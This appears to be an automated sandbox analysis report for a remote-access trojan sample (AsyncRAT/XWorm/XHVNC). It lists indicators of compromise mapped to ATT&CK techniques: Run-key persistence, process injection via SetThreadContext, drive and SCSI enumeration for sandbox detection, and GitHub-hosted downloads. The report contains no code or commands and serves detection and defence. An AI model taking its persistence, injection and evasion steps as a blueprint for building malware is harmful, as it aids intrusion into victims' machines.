asyncrat | da5809df5cb05200b3a528a186f39b7d6186376ce051b0a393f1ddf67c995258

Processes:

python-3.12.4-amd64.exeexodus.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\{fb355cb0-c07e-4095-85a7-81c5a2838da6} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{fb355cb0-c07e-4095-85a7-81c5a2838da6}\\python-3.12.4-amd64.exe\" /burn.runonce"	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Run\exodus = "C:\\Users\\Admin\\Downloads\\XWorm-Rat-Remote-Administration-Tool--main\\XWorm-Rat-Remote-Administration-Tool--main\\exodus.exe"	exodus.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

Processes:

explorer.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

msiexec.exeXHVNC.exeexplorer.exe

description	ioc	process
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\D:	XHVNC.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\F:	explorer.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\D:	explorer.exe
File opened (read-only)	\??\F:	XHVNC.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

122 raw.githubusercontent.com
123 camo.githubusercontent.com
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

flow	ioc
122	raw.githubusercontent.com
123	camo.githubusercontent.com

Suspicious use of SetThreadContext 7 IoCs

Processes:

xworm.exexworm.exexworm.exeexodus.exeXHVNC-Client.exeXHVNC-Client.exeXHVNC-Client.exe

description	pid	process	target process
PID 1112 set thread context of 4972	1112	xworm.exe	AppLaunch.exe
PID 1376 set thread context of 4876	1376	xworm.exe	AppLaunch.exe
PID 1700 set thread context of 1460	1700	xworm.exe	AppLaunch.exe
PID 4896 set thread context of 3632	4896	exodus.exe	cvtres.exe
PID 5124 set thread context of 5252	5124	XHVNC-Client.exe	cvtres.exe
PID 5388 set thread context of 5528	5388	XHVNC-Client.exe	cvtres.exe
PID 5676 set thread context of 5760	5676	XHVNC-Client.exe	cvtres.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 52 IoCs

Processes:

msiexec.exeexplorer.exeSearchUI.exe

description	ioc	process
File opened for modification	C:\Windows\Installer\MSIE633.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\4032412167\4002656488.pri	explorer.exe
File created	C:\Windows\Installer\SourceHash{4F815F87-CE9F-45CF-AEDE-EDF03728F8E6}	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d2b1.msi	msiexec.exe
File created	C:\Windows\Installer\e57d2bb.msi	msiexec.exe
File created	C:\Windows\Installer\e57d2b1.msi	msiexec.exe
File created	C:\Windows\Installer\e57d2bf.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID60D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d2ac.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3CBB.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\e57d2a7.msi	msiexec.exe
File created	C:\Windows\Installer\e57d2b6.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d2c0.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d2c5.msi	msiexec.exe
File created	C:\Windows\Installer\e57d2b0.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d2b6.msi	msiexec.exe
File created	C:\Windows\Installer\e57d2c9.msi	msiexec.exe
File created	C:\Windows\Installer\e57d2ce.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{3C4935A5-B72E-4DA4-809E-0287A0BC046F}	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d2bb.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI146D.tmp	msiexec.exe
File created	C:\Windows\Installer\e57d2c5.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI424E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d2a2.msi	msiexec.exe
File created	C:\Windows\Installer\e57d2a6.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d2a7.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID813.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{7BFF8368-33A0-4DB3-9442-F5C881FE1B4D}	msiexec.exe
File created	C:\Windows\Installer\e57d2ca.msi	msiexec.exe
File created	C:\Windows\rescache\_merged\1601268389\715946058.pri	SearchUI.exe
File created	C:\Windows\Installer\e57d2ac.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDB72.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{62DD7DAF-6279-46FA-A06B-C4A541244045}	msiexec.exe
File created	C:\Windows\Installer\SourceHash{AC669800-A797-444D-A450-A5109BBC74DE}	msiexec.exe
File created	C:\Windows\Installer\e57d2c0.msi	msiexec.exe
File created	C:\Windows\Installer\e57d2b5.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI41EE.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\2717123927\1590785016.pri	explorer.exe
File opened for modification	C:\Windows\Installer\MSIF691.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{AC7F58DC-CF45-4B28-9EAE-AE152C588907}	msiexec.exe
File created	C:\Windows\Installer\SourceHash{71BC2876-3319-44FC-B5C5-1C0B86FC2733}	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d2ca.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\e57d2ab.msi	msiexec.exe
File created	C:\Windows\Installer\e57d2ba.msi	msiexec.exe
File created	C:\Windows\Installer\e57d2c4.msi	msiexec.exe
File created	C:\Windows\Installer\e57d2a2.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{754A267E-52AE-4A9F-AFF4-F67EDC4B3610}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI24FA.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{EFA83559-2E1E-4671-85F7-B28AA1DD08D7}	msiexec.exe

Executes dropped EXE 12 IoCs

Processes:

python-3.12.4-amd64.exepython.exepython.exepythonw.exeexodus.exeXHVNC-Client.exeXHVNC-Client.exeXHVNC-Client.exepy.exepython.exepy.exepython.exe

pid	process
4512	python-3.12.4-amd64.exe
2096	python.exe
4328	python.exe
2676	pythonw.exe
4896	exodus.exe
5124	XHVNC-Client.exe
5388	XHVNC-Client.exe
5676	XHVNC-Client.exe
5548	py.exe
5540	python.exe
5604	py.exe
5644	python.exe

Loads dropped DLL 38 IoCs

Processes:

python-3.12.4-amd64.exeMsiExec.exepython.exepython.exepythonw.exeXHVNC.exepython.exepython.exe

pid	process
4512	python-3.12.4-amd64.exe
3620	MsiExec.exe
2096	python.exe
2096	python.exe
2096	python.exe
2096	python.exe
2096	python.exe
2096	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
4328	python.exe
2676	pythonw.exe
2676	pythonw.exe
3240	XHVNC.exe
5540	python.exe
5540	python.exe
5644	python.exe
5644	python.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

3768 1112 WerFault.exe xworm.exe
2856 1376 WerFault.exe xworm.exe
4208 1700 WerFault.exe xworm.exe

pid	pid_target	process	target process
3768	1112	WerFault.exe	xworm.exe
2856	1376	WerFault.exe	xworm.exe
4208	1700	WerFault.exe	xworm.exe

System Location Discovery: System Language Discovery 1 TTPs 22 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cvtres.exepy.exepowershell.exepowershell.exeXHVNC.execvtres.exexworm.exepowershell.exepowershell.exeAppLaunch.exexworm.exeAppLaunch.exepowershell.execvtres.exeMsiExec.exeAppLaunch.exepowershell.exepy.execvtres.exepython-3.12.4-amd64.exepython-3.12.4-amd64.exexworm.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XHVNC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xworm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xworm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	py.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.12.4-amd64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.12.4-amd64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xworm.exe

Checks SCSI registry key(s) 3 TTPs 22 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

System Information Discovery

Processes:

SearchUI.exechrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	SearchUI.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	SearchUI.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies Internet Explorer settings 1 TTPs 5 IoCs

adware spyware

Modify Registry

Processes:

SearchUI.exeexplorer.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Internet Explorer\GPU	SearchUI.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133668354038026350"	chrome.exe

Modifies registry class 64 IoCs

Processes:

python-3.12.4-amd64.exemsiexec.exeexplorer.exeXHVNC.exechrome.exeexplorer.exeexplorer.exeSearchUI.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\{AC669800-A797-444D-A450-A5109BBC74DE}\Dependents\{fb355cb0-c07e-4095-85a7-81c5a2838da6}	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.CompiledFile	msiexec.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.NoConFile\shell	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\.pyz	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.ArchiveFile\shellex	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\.pyzw\ = "Python.NoConArchiveFile"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.File\Shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\py.exe\" \"%L\" %*"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.Extension\ = "Python Extension Module"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.NoConFile	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.NoConFile\Shell	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.File\Shell\editwithidle\shell\edit312\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Python312\\pythonw.exe\" -m idlelib \"%L\" %*"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.CompiledFile\DefaultIcon	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.File\Shell	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\pyshellext.amd64.dll"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\.pyzw\Content Type = "application/x-zip-compressed"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell	XHVNC.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\SniffedFolderType = "Generic"	XHVNC.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\{62DD7DAF-6279-46FA-A06B-C4A541244045}	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.File\Shell\editwithidle\MUIVerb = "&Edit with IDLE"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.CompiledFile\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\py.exe\" \"%L\" %*"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\.pyd	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.Extension\DefaultIcon\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\py.exe\",3"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\{62DD7DAF-6279-46FA-A06B-C4A541244045}\Dependents	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\{AC7F58DC-CF45-4B28-9EAE-AE152C588907}	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\{71BC2876-3319-44FC-B5C5-1C0B86FC2733}	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.File\Shell\editwithidle\shell	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.NoConFile\shell\open\command	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\{71BC2876-3319-44FC-B5C5-1C0B86FC2733}\Dependents\{fb355cb0-c07e-4095-85a7-81c5a2838da6}	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\{AC7F58DC-CF45-4B28-9EAE-AE152C588907}\Version = "3.12.4150.0"	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\{3C4935A5-B72E-4DA4-809E-0287A0BC046F}\Version = "3.12.4150.0"	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.ArchiveFile\DefaultIcon\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\py.exe\",5"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	XHVNC.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\{71BC2876-3319-44FC-B5C5-1C0B86FC2733}\DisplayName = "Python 3.12.4 Tcl/Tk Support (64-bit)"	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.File\shellex	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	SearchUI.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\CPython-3.12\Version = "3.12.4150.0"	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\{754A267E-52AE-4A9F-AFF4-F67EDC4B3610}\Dependents\{fb355cb0-c07e-4095-85a7-81c5a2838da6}	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\{3C4935A5-B72E-4DA4-809E-0287A0BC046F}	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.NoConFile\ = "Python File (no console)"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings	XHVNC.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.NoConFile\Shell\editwithidle\Subcommands	msiexec.exe
